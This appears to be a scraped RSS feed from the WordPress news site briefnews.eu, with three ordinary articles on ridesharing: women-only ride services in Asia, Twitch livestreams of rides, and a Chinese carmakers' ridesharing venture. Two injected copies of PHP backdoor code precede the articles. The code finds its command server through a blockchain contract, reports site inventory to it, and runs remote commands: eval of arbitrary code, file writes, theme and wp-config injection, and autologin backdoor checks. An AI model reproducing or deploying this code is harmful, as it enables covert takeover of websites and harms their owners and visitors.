// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ridesharing – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 15 Dec 2018 16:44:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ridesharing – Brief News https://briefnews.eu 32 32 Asian Ride-Sharing Apps Speed Up to Cut Men Out of Equation https://briefnews.eu/asian-ride-sharing-apps-speed-up-to-cut-men-out-of-equation/ https://briefnews.eu/asian-ride-sharing-apps-speed-up-to-cut-men-out-of-equation/#respond Sat, 15 Dec 2018 16:44:16 +0000 http://briefnews.eu/asian-ride-sharing-apps-speed-up-to-cut-men-out-of-equation/ New Delhi–based Shailja Mittal had hired a cab driver to take her 11-year-old daughter to school. But one day, when he didn’t show up and sent another man instead, the mother in her decided to take charge. The city routinely ranks in polls as among the most unsafe in the world for women, and a worried Mittal drove her daughter to school herself. But she didn’t stop there. The incident sowed the seeds for Koala Kabs, a ride-hailing service the 34-year-old launched in June 2017, with an entirely female team of drivers catering only to female passengers.

The startup is among a fast-growing series of ride-sharing services across Asia that are either emerging or reshaping themselves to offer safe travel options to women as they increasingly step out of homes into public spaces that are often still unsafe for them. For some, it’s an act of resistance coinciding with the consciousness of the #MeToo era. For others, there’s the economic incentive of an untapped market, as even the most conservative societies like Saudi Arabia gradually give women more rights.

In Pakistan, Pink Taxi launched last year with a fleet of 15 drivers — all women. Dubai-based ride-sharing giant Careem has registered more than 2,000 female drivers across Riyadh, Jeddah and Dammam in Saudi Arabia in just 15 months since the country lifted its ban on female drivers in September 2017, says its co-founder Abdulla Elyas. The company has pledged to hire 20,000 female drivers — it calls them Captainahs — by 2020 across its operations in 15 countries, mostly in West Asia and Pakistan. SheJek, a “sharia-compliant” motorbike-sharing service for women with only female drivers, launched in Bandung, Indonesia, in the summer of 2018, and already has 27,000 registered users. Obon, in Bangladesh, started earlier this year and recruited 50 female drivers in its first three months.

There is a big demand [for women-only ride-sharing services].

Shailja Mittal, founder, Koala Kabs

The giants in the industry are scrambling too, to better portray themselves as sensitive to women’s safety concerns. Uber in March this year introduced an emergency button that directly calls 911 if pressed. GrabHitch — the car-pooling service that Grab, Southeast Asia’s largest ride-sharing service, offers — lets passengers choose between male and female drivers. A Grab spokesperson tells me that the company has “proactively” expanded its safety features since its 2012 launch, including in-car dash cameras and driver authentication through selfies.

And at the opposite end of the ride-sharing spectrum, fledgling newbies like Koala Kabs are only getting more ambitious. The firm started with seven drivers and now has 15. By the end of 2019, Mittal wants to have 75 female drivers.

img 20181206 200915

“There is a big demand,” says Mittal.

As a concept, ride-sharing services catering specifically to women aren’t restricted to Asia. There’s Little Cab in Kenya, Uganda and Nigeria; Shebah in Australia; WomensTaxi in South Africa; FemiTaxi in Brazil and DriveHER in Canada, for instance. In the U.S., there’s Boston-based Safr — which has now spread to other American cities and beyond, as far as Pakistan — that, like Grab, allows customers to choose male or female drivers.

But even in a world where crimes against women are common in most countries, Asian cities stand out: In a 2017 Thomson Reuters poll, eight of the 20 cities most unsafe for women were in Asia. And ride-sharing apps haven’t been immune. In August this year, a driver with Chinese taxi-hailing giant Didi Chuxing was accused of the rape and murder of a 20-year-old in Wenzhou, in eastern China. It was the second such incident in a span of a few months in the country. In India in December 2014, a 27-year-old woman was raped by her Uber driver. In Malaysia in June last year, a Grab driver was arrested for rape of a female passenger. While Uber has had instances of drivers assaulting passengers in the West too, there’s a second dynamic that’s also at play in more conservative societies.

(In the above video, Sonia Singh, a Koala Kabs driver in New Delhi, tells OZY’s Maroosha Muzaffar about the sexism she faces daily — from parking attendants telling her she can’t park to male Uber and Ola drivers who react weirdly on seeing a woman driver. Credit: Maroosha Muzaffar)

Patriarchy is so deeply entrenched in many Asian societies that the notion of their wives, sisters or mothers traveling only with other women actually appeals to many men. That’s in sharp contrast to the criticism platforms like Safr have faced in the U.S., where many believe the app violates Title VII of the Civil Rights Act, which bars discrimination on the basis of gender unless sex is a “bona fide occupational qualification.”

This might be part of the reason why Asian markets are emerging as particularly lucrative for ride-sharing services targeted at women. “We have had an overwhelming response from women in the kingdom [Saudi Arabia] from the moment we opened up the registration platform for trainings until now,” says Careem’s Elyas. But women themselves often feel safer with others of their gender, says Mittal. “Let’s be honest, a female passenger feels more comfortable when a woman is driving the cab,” she says.

For many women, these cab services are also offering crucial employment opportunities. Every morning at 4 am, Sonia Singh, 28, starts preparing for the day ahead. Wearing a yellow T-shirt with green trousers, she is in her car by 6 am, waiting for regular passengers. Singh, who lives in a suburban Delhi village called Burari, started working with Koala Kabs nine months ago. She underwent a 15-day self-defense training course in the city. When I ask her if it irks her when male drivers on the road unnecessarily blare horns at her, she insists she doesn’t react to them. “I focus on the road and my driving,” she says. What about when another male-driven cab overtakes her? “In the course, we are even taught how to maintain our calm,” she says.

Not everyone agrees that avoiding men — as a female passenger or a driver — is the wisest approach for women’s emancipation. By segregating genders, many argue, one stops holding men accountable for inappropriate behavior around women. “As a feminist, I don’t believe in this ghettoization of women,” says Snehal Velkar, a program coordinator with Akshara Center, a Mumbai-based women’s rights nonprofit. “We don’t want women to live in this cocoon in the name of protection and safety.” But she concedes that in the short run, these services might help more women step out of their homes. It’s also unclear how these ride-sharing apps will respond to an increasing set of passengers who may identify themselves as genderqueer.

But those long-term questions aren’t holding women like Singh back. She already feels empowered. Her job, she says, has helped her believe that women can do whatever they want to do. And that “pitrasatta [patriarchy] can no longer make me feel unsure or unwanted.”

Let’s block ads! (Why?)

]]> https://briefnews.eu/asian-ride-sharing-apps-speed-up-to-cut-men-out-of-equation/feed/ 0 Ridesharing livestreams on Twitch raise privacy worries https://briefnews.eu/ridesharing-livestreams-on-twitch-raise-privacy-worries/ https://briefnews.eu/ridesharing-livestreams-on-twitch-raise-privacy-worries/#respond Sat, 21 Jul 2018 20:23:26 +0000 http://briefnews.eu/ridesharing-livestreams-on-twitch-raise-privacy-worries/

When you step into a ridesharing car, you probably assume that whatever you do inside the vehicle won’t be recorded for posterity. But what if it turned out that you were not only on camera, but live on the internet? Like it or not, that’s happening — and not always with permission. The St. Louis Post-Dispatch has cited the example of Jason Gargac, an Uber and Lyft driver who has been broadcasting “hundreds” of trips on Twitch without explicitly obtaining consent. While Gargac has taken steps to protect passengers (such as muting addresses and moderating lewd chat comments), at least some of these customers said they wouldn’t have entered the car had they known they were in a livestream — and it was possible to identify some of them through details in archived videos.

Gargac has asserted that his streams are legal, since Missouri allows one-party recording of conversations. However, it doesn’t appear that he’s entirely forthright with passengers about what’s happening. A sticker on the car tells passengers that they consent to being recorded if they enter the vehicle, but it describes the camera as “for security.” There’s no mention of the internet stream. And in a sense, it’s taking advantage of customers who either aren’t aware of the sticker or don’t have much choice. If you’re entering the car at night or are in a hurry, are you going to give much heed to a sticker as you hop in?

There might not be much the ridesharing companies can do, at least not without changes to their policies. Both Uber and Lyft have responded with statements that drivers are required to obey local laws, which technically puts drivers like Gargac in the clear. Uber has offered passengers credit and promised not to pair affected riders with the driver. We’ve asked Twitch for comment as well. Gargac has taken care to avoid at least some terms-of-service violations, but it’s not certain whether these are enough.

Regardless of the legality, streams like this raise plenty of questions about the nature of recording laws in the livestreaming era, not to mention the policies of the companies involved. Although Gargac argues that his car is a public space and thus doesn’t have an expectation of privacy, that’s clearly not how some passengers see it. They’re often holding deeply personal conversations or conducting themselves in less-than-flattering ways, and certainly aren’t expecting to have their behavior broadcast online. Stricter policies could ensure that passengers both offer genuine consent and know that their privacy will be protected if they do agree to a livestream.

Source: St. Louis Post-Dispatch

]]> https://briefnews.eu/ridesharing-livestreams-on-twitch-raise-privacy-worries/feed/ 0 Chinese car giants team up on a ridesharing platform https://briefnews.eu/chinese-car-giants-team-up-on-a-ridesharing-platform/ https://briefnews.eu/chinese-car-giants-team-up-on-a-ridesharing-platform/#respond Mon, 16 Jul 2018 04:38:51 +0000 http://briefnews.eu/chinese-car-giants-team-up-on-a-ridesharing-platform/

It’s not just Western automakers jumping head-first into transportation services. Three of China’s largest car brands (Chongqing Changan, Dongfeng and FAW Group) have launched a venture that will create a ridesharing platform. T3 Mobile Travel Services will bring in partners from other fields to create the Uber-style service, and it’ll unsurprisingly take advantage of the country’s burgeoning self-driving car industry.

It may not sound immediately relevant if you live outside of China, but the partnership could have a significant effect on the automotive world. All three of these companies have joint ventures with American and European car brands due to Chinese requirements — outside manufacturers may not have to participate, but it may be hard to resist the allure of ridesharing in such a giant market.

If nothing else, this appears to be a shot across the bow of Didi Chuxing, China’s dominant ridesharing provider and one of the largest companies of its kind anywhere in the world. It could give Didi serious competition (including in the autonomous vehicle realm) from car brands that are not only heavyweights on its home turf, but state-owned.

Source: Reuters

